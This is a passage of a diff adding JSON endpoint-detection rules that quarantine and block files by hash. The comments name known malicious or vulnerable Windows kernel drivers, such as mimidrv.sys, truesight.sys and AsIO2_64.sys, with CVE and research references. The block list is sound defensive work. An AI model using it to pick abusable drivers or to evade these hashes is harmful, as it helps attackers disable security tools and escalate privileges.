+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979619Z",
+  "creation_date": "2026-03-23T11:45:29.979621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979626Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88b901ce8ee199bc371e9cf39ab5375d31c6881a25ba5827e9b32ba7946ecda1",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a3faaa6-dc9f-5d6c-abf3-5f3d6b81832f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821639Z",
+  "creation_date": "2026-03-23T11:45:30.821642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821651Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c9e257c9740561b5744812e1343815e7972c362c8993d972b96a56e18c712f3",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a464168-06e1-5cda-a44f-d05e5c143707",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481289Z",
+  "creation_date": "2026-03-23T11:45:30.481291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481297Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcf811040c7552a2c93409a6cd2d63f8abbae121acca012e0b7f4fdc0b6a6b8b",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a541ac9-f8df-5115-b0c2-018022f632ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486906Z",
+  "creation_date": "2026-03-23T11:45:31.486909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486918Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b28842c58a0845fe6cba9c76192f166454ede275d74942de18df2dd3a71eb2a1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a601188-1f95-5eb8-bfab-13dd5b1a273c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144372Z",
+  "creation_date": "2026-03-23T11:45:32.144374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8c5227d8827405e0e13a16bbacc6959edd3de95bc167566f742a6c221a0fe75",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a859023-f148-5ec1-b7af-4b3a9978fa34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818680Z",
+  "creation_date": "2026-03-23T11:45:31.818684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eeca04c3c5d230fed7aa5cf9a4c5201d9253a6aaf8a68cdd8835b3d845024873",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a8b8ac4-b24c-5521-8f7c-c559463dafe7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807623Z",
+  "creation_date": "2026-03-23T11:45:31.807625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807631Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c1ec0557e0e5f59b30348ba919bf87feb938c2d1c5672d0aa67ebcd0f12ae86",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a91d3b7-8394-598a-96f7-54c79ddfb442",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473338Z",
+  "creation_date": "2026-03-23T11:45:30.473341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "636b4c1882bcdd19b56370e2ed744e059149c64c96de64ac595f20509efa6220",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a98a78f-6e36-54c3-9a22-bc9732e5bfca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818438Z",
+  "creation_date": "2026-03-23T11:45:31.818442Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "716400501309b00b9003430749a2579b4c35867b6b8b383a83a8f7f76fe9f3d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2aa40a11-9039-510d-8ddc-ada7a6b7a01b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612957Z",
+  "creation_date": "2026-03-23T11:45:29.612959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612964Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25bc1b72ba6092674ec561d7de8f5e4a7adb23c29fa68de5b29a30a671257dac",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ab01bd4-47da-5cb2-ae69-c29e057f43ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971202Z",
+  "creation_date": "2026-03-23T11:45:29.971205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ab22cbf-3327-5822-98fb-7620cbb1720e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613841Z",
+  "creation_date": "2026-03-23T11:45:29.613843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df82f155376b4e95a3f497b7362ba6039c04d2ae78926f626dbe1a459bc626d7",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ab6e22c-f0af-53d5-8c43-ecd3d46c59c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492431Z",
+  "creation_date": "2026-03-23T11:45:31.492433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f7e34a971f2a2a3d473432d9cea4c8d6ec680184e2972230795a1f33406218d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ac2a541-2fc6-5000-9215-4139ef1d61cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817609Z",
+  "creation_date": "2026-03-23T11:45:30.817611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3678ba63d62efd3b706d1b661d631ded801485c08b5eb9a3ef38380c6cff319a",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2acf40da-baa4-55f7-a6d3-12dc8f88069a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821908Z",
+  "creation_date": "2026-03-23T11:45:31.821910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e84886c82660f3bd9b6e04024251bfbb8dbc5690c567feb163cc751d5c00cc2d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ae19c56-8543-5d7f-afc2-f7a040fbcec1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621651Z",
+  "creation_date": "2026-03-23T11:45:29.621653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ee5067ce48883701824c5b1ad91695998916a3702cf8086962fbe58af74b2d6",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2af7c7d6-9b58-538b-9829-af0506a4b402",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614006Z",
+  "creation_date": "2026-03-23T11:45:29.614008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de",
+  "comment": "Huawei vulnerable drivers (aka HwOs2Ec10x64.sys and HwOs2Ec7x64.sys) [CVE-2019-5241] [https://www.microsoft.com/security/blog/2019/03/25/from-alert-to-driver-vulnerability-microsoft-defender-atp-investigation-unearths-privilege-escalation-flaw/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2af81a35-f15a-506b-aaad-ae8f3e28bcf5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464842Z",
+  "creation_date": "2026-03-23T11:45:30.464845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fefc070a5f6a9c0415e1c6f44512a33e8d163024174b30a61423d00d1e8f9bf2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b05261b-235b-5527-834b-8bed12ee858b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621513Z",
+  "creation_date": "2026-03-23T11:45:29.621515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621520Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72322fa8bba20df6966acbcf41e83747893fd173cd29de99b5ad1a5d3bf8f2de",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b0ba12d-b21b-5abe-957a-c358d33a6004",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500708Z",
+  "creation_date": "2026-03-23T11:45:31.500711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d70435e28f05a78a0cf513383da887cce3b4d311e1407149c72581cb00785aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b0de7f1-3c19-546a-b09a-938e620febe1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606249Z",
+  "creation_date": "2026-03-23T11:45:29.606252Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b1b146a-d57e-5e9f-8fa1-9d5bfc137679",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474396Z",
+  "creation_date": "2026-03-23T11:45:31.474399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7282653f7af709a7740d785a93b1ea245ab26d177c1c4a58bf48b9fceae6204",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b251617-d326-5f78-9a83-1ddaeb64d804",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
